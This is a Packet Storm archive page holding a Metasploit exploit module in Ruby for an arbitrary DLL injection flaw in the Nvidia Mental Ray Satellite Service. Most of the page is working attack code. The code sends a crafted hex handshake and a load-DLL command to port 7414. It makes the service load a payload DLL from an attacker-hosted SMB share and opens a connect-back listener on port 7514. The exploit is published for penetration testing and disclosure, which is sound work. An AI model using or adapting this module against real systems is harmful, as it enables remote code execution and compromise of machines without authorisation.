exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nvidia Mental Ray Satellite Service Arbitrary DLL Injection

Nvidia Mental Ray Satellite Service Arbitrary DLL Injection
Posted Mar 6, 2015
Authored by Luigi Auriemma, Donato Ferrante | Site metasploit.com

The Nvidia Mental Ray Satellite Service listens for control commands on port 7414. When it receives the command to load a DLL (via an UNC path) it will try to connect back to the host on port 7514. If a TCP connection is successful it will then attempt to load the DLL. This Metasploit module has been tested successfully on Win7 x64 with Nvidia Mental Ray Satellite Service v3.11.1.

tags | exploit, tcp
SHA-256 | d20a1acb01b0356c8f7a9dfb93f9f6c186f8a9c91ae2ee919bd91f597ae8afef

Nvidia Mental Ray Satellite Service Arbitrary DLL Injection

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Nvidia Mental Ray Satellite Service Arbitrary DLL Injection',
'Description' => %q{
The Nvidia Mental Ray Satellite Service listens for control commands on port 7414.
When it receives the command to load a DLL (via an UNC path) it will try to
connect back to the host on port 7514. If a TCP connection is successful it will
then attempt to load the DLL. This module has been tested successfully on Win7 x64
with Nvidia Mental Ray Satellite Service v3.11.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Discovery
'Donato Ferrante', # Discovery
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
],
'References' =>
[
[ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x64', { 'Arch' => [ ARCH_X86_64 ] } ]
],
'Privileged' => true,
'DisclosureDate' => 'Dec 10 2013',
'DefaultTarget' => 0))

register_options([
Opt::RPORT(7414),
OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)

deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
end

def primer
self.file_contents = generate_payload_dll
print_status("File available on #{unc}...")

print_status("Trying to execute remote DLL...")
send_exploit
end

def setup
super

# These lengths are required, although we specify the UNC path
# length in the exploit, the header probably has another length
# value we don't adjust.
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
self.share = Rex::Text.rand_text_alpha(5)
end

def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
end

def send_exploit
# No idea what most of this hello is...
hello = "6c72696d3030303030203030303031203136333932203037353134203030303031203039303936203030303030207261796d7"
hello << "36734302d332e31312e312e345f5f5f5f5f5f5f5f5f5f5f5f0020007c5241593331317c53554231000100000000e90300000"
hello << "0000000ffffffffffffffff1807000000000000dc10d7fdfe0700003018a40500000000e73654fffe070000c0afcd0000000"
hello << "000ffffffffffffffffffffffffffffffff18070000000000007014a70100000000763754fffe0700000000000000000000f"
hello << "035ae01000000003036ae0100000000da2152fffe0700003036ae0100000000a33754fffe070000000000000000000000000"
hello << "00000000000ffffffffffffffffffffffffffffffff3036ae0100000000c40e53fffe0700007014a70100000000180700000"
hello << "0000000000000000000000000000000000000000000000000000000020000000000000001000000000000005035440400000"
hello << "0008013a7010000000090b3cd00000000001807000000000000b929d80300000000000000000000000018070000000000009"
hello << "0b3cd000000000010cda701000000000000000000000000010100000000000000b3cd0000000000060000000000000066000"
hello << "200000000000000020000000a0008000000a01a0fe73d00cf118ca300804034ae01000000000100000000000000000000000"
hello << "0000000030000000a000000"

hello = Rex::Text.hex_to_raw(hello)

# Start of command - again no idea what this is...
load_dll = Rex::Text.hex_to_raw("4ed32cb1740500000000000001130013")

# Length of path string including null byte
load_dll << [unc.length + 1].pack('V')

# Data type?
load_dll << [2].pack('V')

# Assembly Load?
load_dll << "AL"
load_dll << unc << "\x00"

# Some padding at the end...
load_dll << rand_text_alpha(1386 - unc.length)

# We have to start a second listening port although we dont actually care about
# handling client connections. It appears as long as the service can make a
# connection its happy and will move onto the DLL loading
create_listen_port
vprint_status("Connecting to target and sending commands")
connect
sock.put(hello)
sock.put(load_dll)
print_status("Instructed the service to load #{unc}...")
end

def create_listen_port
port = datastore['LISTEN_PORT']

comm = datastore['ListenerComm']
if comm == "local"
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end

@listener = Rex::Socket::TcpServer.create(
'LocalHost' => datastore['SRVHOST'],
'LocalPort' => port,
'Comm' => comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)

# Register callbacks
@listener.on_client_connect_proc = proc { |cli|
add_socket(cli)
begin
print_status("#{cli.peerhost.ljust(16)} #{shortname} - Connected to Listener on #{port}...")
ensure
# Need to close the socket for the SMB request to be
# initiated...
remove_socket(cli)
end
}

@listener.start
vprint_status("Started listening on TCP port #{port}")
end

def cleanup
super
return unless @listener

begin
@listener.deref if @listener.is_a?(Rex::Service)
if @listener.is_a?(Rex::Socket)
@listener.close
@listener.stop
end
@listener = nil
rescue ::Exception
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close